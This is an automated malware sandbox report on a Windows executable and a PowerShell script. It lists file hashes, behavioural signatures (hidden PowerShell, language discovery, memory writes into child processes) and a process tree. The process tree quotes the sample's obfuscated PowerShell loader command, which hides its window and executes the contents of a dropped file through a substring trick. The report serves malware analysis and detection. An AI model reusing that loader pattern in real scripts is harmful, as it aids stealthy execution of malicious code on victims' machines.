Analysis
- max time kernel
122s - max time network
124s - platform
windows7_x64 - resource
win7-20240903-en - resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system - submitted
20/10/2024, 02:27
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
80fec3abccd1b92402ee722616dff2605fd5132d9b208d5069c47389247de6dd.exe
Resource
win7-20240903-en
7 signatures
150 seconds
Behavioral task
behavioral2
Sample
80fec3abccd1b92402ee722616dff2605fd5132d9b208d5069c47389247de6dd.exe
Resource
win10v2004-20241007-en
18 signatures
150 seconds
Behavioral task
behavioral3
Sample
Chymes.ps1
Resource
win7-20240903-en
4 signatures
150 seconds
Behavioral task
behavioral4
Sample
Chymes.ps1
Resource
win10v2004-20241007-en
12 signatures
150 seconds
General
- Target 80fec3abccd1b92402ee722616dff2605fd5132d9b208d5069c47389247de6dd.exe
- Size 738KB
- Sample241020-cxhw2stdpb
- SHA256 80fec3abccd1b92402ee722616dff2605fd5132d9b208d5069c47389247de6dd
- MD5 2b0402915579ce1debc2f6cc55695b78
- SHA1 95ef25a88cb77e153984d8cc84f5fcbd9dbf764d
- SHA512 90d9770e6d241c6cd91d061e04bb48ad56ecbc271b115bb5a2b030d47397400aae42287954e0fa08da88b266264c419e2aee49231af0cc3966c8381463e00862
- SSDEEP 12288:j/En283Cjdq2aXAv2zOLAJMrETpq9dXOyGOs61IYZVAecgs9FMa1Mdq8jJA:jM2gCy42qLAJeETpqDGMIYO7MoOA
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
pid Process 2300 powershell.exe 1776 powershell.exe - Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\resources\0409\Grubstaking.bro 80fec3abccd1b92402ee722616dff2605fd5132d9b208d5069c47389247de6dd.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 80fec3abccd1b92402ee722616dff2605fd5132d9b208d5069c47389247de6dd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe - Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1776 powershell.exe 2300 powershell.exe - Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 1776 powershell.exe Token: SeDebugPrivilege 2300 powershell.exe - Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 2680 wrote to memory of 2300 2680 80fec3abccd1b92402ee722616dff2605fd5132d9b208d5069c47389247de6dd.exe 30 PID 2680 wrote to memory of 2300 2680 80fec3abccd1b92402ee722616dff2605fd5132d9b208d5069c47389247de6dd.exe 30 PID 2680 wrote to memory of 2300 2680 80fec3abccd1b92402ee722616dff2605fd5132d9b208d5069c47389247de6dd.exe 30 PID 2680 wrote to memory of 2300 2680 80fec3abccd1b92402ee722616dff2605fd5132d9b208d5069c47389247de6dd.exe 30 PID 2680 wrote to memory of 1776 2680 80fec3abccd1b92402ee722616dff2605fd5132d9b208d5069c47389247de6dd.exe 32 PID 2680 wrote to memory of 1776 2680 80fec3abccd1b92402ee722616dff2605fd5132d9b208d5069c47389247de6dd.exe 32 PID 2680 wrote to memory of 1776 2680 80fec3abccd1b92402ee722616dff2605fd5132d9b208d5069c47389247de6dd.exe 32 PID 2680 wrote to memory of 1776 2680 80fec3abccd1b92402ee722616dff2605fd5132d9b208d5069c47389247de6dd.exe 32
Processes
-
C:\Users\Admin\AppData\Local\Temp\80fec3abccd1b92402ee722616dff2605fd5132d9b208d5069c47389247de6dd.exe"C:\Users\Admin\AppData\Local\Temp\80fec3abccd1b92402ee722616dff2605fd5132d9b208d5069c47389247de6dd.exe"1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2680 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle hidden "$Outbabbled=Get-Content -raw 'C:\Users\Admin\AppData\Local\Temp\superincomprehensible\Chymes.Ari';$Peract=$Outbabbled.SubString(52410,3);.$Peract($Outbabbled)"2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2300
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle hidden "$Outbabbled=Get-Content -raw 'C:\Users\Admin\AppData\Local\Temp\superincomprehensible\Chymes.Ari';$Peract=$Outbabbled.SubString(52410,3);.$Peract($Outbabbled)"2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1776
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
- Size 7KB
- SHA256 c602af358e7b58f7a955b9a76952ffe52602dc1f06a9969d37873a8ce93afedb
- MD5 787aebd3cb98b902f7ca7b146d6a2986
- SHA1 58cfd6d580a7a92f368af75ad58bb40765f90b30
- SHA512 b036362348d11a0810d0514532152621845edbe20e19a884bd1e31b12fcc7c34bf28eecf1f6892b11f7258a80936f8715c25dfc1536c9fc08ccc177d07a01bd3
- SSDEEP 96:cRb6Cx3M8mnqvsqvJCwol2Rb6Cx3M8mnqvsEHyqvJCwor3V6g6QHQJg7B7XlUVLP:kn36Uolan36AHnor3VMhJg7B7KP
- MD5 SHA1 SHA512 SSDEEP